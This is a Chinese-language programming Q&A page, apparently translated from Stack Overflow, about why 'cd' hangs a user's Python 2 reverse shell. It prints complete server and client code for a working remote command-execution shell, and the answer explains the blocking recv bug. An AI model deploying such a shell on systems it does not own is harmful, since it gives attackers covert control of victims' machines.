2017-06-12 47 views
0

我在Python 2中制作了一个反向shell。但是,我无法获得cd(更改目录)的工作。为什么cd不能在我的反转外壳上工作?

这里是我的server代码:

#!/usr/bin/python 
import socket 

host = socket.gethostname() 
port = 1337 
s = socket.socket() 

s.bind((host, port)) 
s.listen(1) 
while True: 
    c, addr = s.accept() 
    print "Accepted connection from", addr 
    while True: 
     cmd = raw_input(">>> ") 
     c.send(cmd) 
     print c.recv(1024) 

s.close() 

,这里是我的client代码:

#!/usr/bin/python 
import socket, os 

s = socket.socket() 
host = socket.gethostname() 
port = 1337 

s.connect((host, port)) 
while True: 
    cmd = s.recv(1024) 
    if cmd[:2] == "cd": 
     os.chdir(str(cmd[3:])) 
    else: 
     o = os.popen(cmd).read() 
     s.send(o) 

我在做什么错?为什么更改目录不工作?

编辑:命令行不会返回新的>>>提示。

+0

“不工作”是什么意思?你是否得到了抛出异常的异常?如果是这样,请包括整个错误打印输出,包括回溯。 – Billy

+0

@Billy命令行不会返回新的“>>>”提示。 –

+0

在您的客户端中,您不会发送任何'cd'命令的响应,因此服务器将等待'recv' – FujiApple

回答

2

这里的问题是,服务器代码需要每命令对的响应,但对于cd命令,客户端不提供任何响应。

在服务器上您有:

while True: 
    cmd = raw_input(">>> ") 
    c.send(cmd)    # send the command to the client 
    print c.recv(1024)  # block and then read (up to) 1024 characters from the client 

但是在客户端,你做的事:

while True: 
    cmd = s.recv(1024)   # block and then read (up to) 1024 characters from the server 
    if cmd[:2] == "cd": 
     os.chdir(str(cmd[3:])) # no response sent for the `cd` case 
    else: 
     o = os.popen(cmd).read() 
     s.send(o)     # send a response to the server for all other cases 

一个简单的解决办法是有cd情况下返回一个OK响应的服务器丢弃。

请注意,在Python套接字中,因此socket.recv()blocking operation by default

相关问题